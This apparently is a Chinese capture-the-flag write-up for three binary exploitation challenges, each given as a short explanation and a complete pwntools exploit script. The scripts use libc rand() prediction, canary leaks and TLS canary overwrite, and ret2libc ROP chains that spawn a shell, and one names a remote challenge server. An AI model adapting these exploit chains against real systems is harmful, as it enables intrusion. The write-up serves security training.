easy_guess 这道题没有什么考点,直接写随机数就行了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from ctypes import *from struct import pack banary = "./easyguess" elf = ELF(banary) libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) ip = '123.127.164.29' port = 26921 local = 1 if local: io = process(banary)else : io = remote(ip, port) context(log_level = 'debug' , os = 'linux' , arch = 'amd64' )def dbg (): gdb.attach(io) pause() s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) iuu32 = lambda : int (io.recv(10 ),16 ) iuu64 = lambda : int (io.recv(6 ),16 ) uheap = lambda : u64(io.recv(6 ).ljust(8 ,b'\x00' )) lg = lambda addr : log.info(addr) ia = lambda : io.interactive() ru("You have three times" ) num=libc.rand() sl(str (num)) sleep(0.5 ) num1=libc.rand() sl(str (num1)) sleep(0.5 ) num2=libc.rand() sl(str (num2)) system=elf.plt['system' ] bin_sh=0x08049A30 ru("right! You get a chance to pwn it!" ) payload=b'A' *0x1c +b'A' *4 +p32(system)+p32(0 )+p32(bin_sh) sl(payload) ia()
guess 一道保护全开的栈题,利用pthread_create,修改TLS上的canary的值来绕过canary防护,在start_routine函数里面有一个很明显的gets溢出点,在猜随机数的函数里面直接使用’-’跳过输入来泄露程序基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ru("Enter the size :" ) sl(str (100 )) ru("Enter the number of tries :" ) sl(str (1 )) ru("Enter your guess :" ) sl(b'-' ) ru(b'You entered ' ) base = int (ru(b' ' )[:-1 ]) - 0x1579 lg("base:" +hex (base)) pop_rdi=base+0x0000000000001793 ret=base+0x000000000000101a puts_plt=elf.plt['puts' ]+base puts_got=elf.got['puts' ]+base back=base+0x000000000001436
偏移计算 这里得注意需要提前打断点,这里可以看到输入点在libc段上,然后使用tls和canary指令确定canary的位置
这里可以确定偏移为0x858,然后构造下面的payload来覆盖canary以及泄露libc基址,再返回到start_routine函数,并且最后的时候有个栈对其的问题,多加几个ret就可以解决了
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *from ctypes import *from struct import pack banary = "./guess" elf = ELF(banary) libc = ELF("/home/youlin/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6" ) ip = '' port = 0 local = 1 if local: io = process(banary)else : io = remote(ip, port) context(log_level = 'debug' , os = 'linux' , arch = 'amd64' )def dbg (): gdb.attach(io) pause() s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) iuu32 = lambda : int (io.recv(10 ),16 ) iuu64 = lambda : int (io.recv(6 ),16 ) uheap = lambda : u64(io.recv(6 ).ljust(8 ,b'\x00' )) lg = lambda addr : log.info(addr) ia = lambda : io.interactive() ru("Enter the size :" ) sl(str (100 )) ru("Enter the number of tries :" ) sl(str (1 )) ru("Enter your guess :" ) sl(b'-' ) ru(b'You entered ' ) base = int (ru(b' ' )[:-1 ]) - 0x1579 lg("base:" +hex (base)) pop_rdi=base+0x0000000000001793 ret=base+0x000000000000101a puts_plt=elf.plt['puts' ]+base puts_got=elf.got['puts' ]+base back=base+0x000000000001436 ru("> \n" ) payload=b'A' *8 sl(payload) libcbase=uu64()-libc.sym['puts' ] lg("libcbase:" +hex (libcbase)) bin_sh=libcbase+next (libc.search(b'/bin/sh\x00' )) system=libcbase+libc.sym['system' ] ru("> \n" ) payload=b'A' *0x18 +p64(0xdeadbeef )+p64(0 )+p64(ret)*0x23 +p64(pop_rdi)+p64(bin_sh)+p64(system) io.sendline(payload) ia()
pwn_timemaster 控制好 alloca 函数申请的栈空间,利⽤ - 泄露 canary,然后利用ask_again函数的栈溢出漏洞打ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *from ctypes import *from struct import pack banary = "./pwn" elf = ELF(banary) libc = ELF("./tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so" ) ip = '' port = 0 local = 1 if local: io = process(banary)else : io = remote(ip, port) context(log_level = 'debug' , os = 'linux' , arch = 'amd64' )def dbg (): gdb.attach(io) pause() s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) iuu32 = lambda : int (io.recv(10 ),16 ) iuu64 = lambda : int (io.recv(6 ),16 ) uheap = lambda : u64(io.recv(6 ).ljust(8 ,b'\x00' )) lg = lambda addr : log.info(addr) ia = lambda : io.interactive()def double_to_hex (f ): return struct.unpack('<Q' , struct.pack('<d' , float (f)))[0 ] ru("What is your name?\n>" ) payload=b'/bin/sh' sl(payload) ru("How many times do you want to try?\n>" ) gdb.attach(io,'b *0x0000000000400956' ) pause() sl(b'14' ) pause() ru("Time[sec]:" ) sl(b'-' ) s(b'\n' ) s(b'\n' ) ru(b'Stop the timer as close to ' ) text = ru(b' ' ) canary = double_to_hex(text) lg("canary:" +hex (canary)) pop_rdi=0x0000000000400e93 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] ret=0x00000000004006a6 ru(b' (Y/n) ' ) payload=b'A' *0x18 +p64(canary)+b'A' *8 +p64(pop_rdi)+p64(0x601ff0 )+p64(puts_plt)+p64(elf.sym['ask_again' ]) sl(payload) libcbase=uu64()-0x23fc0 lg("libcbase:" +hex (libcbase)) system=libcbase+libc.sym['system' ] bin_sh=libcbase+next (libc.search(b'/bin/sh\x00' )) payload=b'A' *0x18 +p64(canary)+p64(0 )+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system) sl(payload) ia()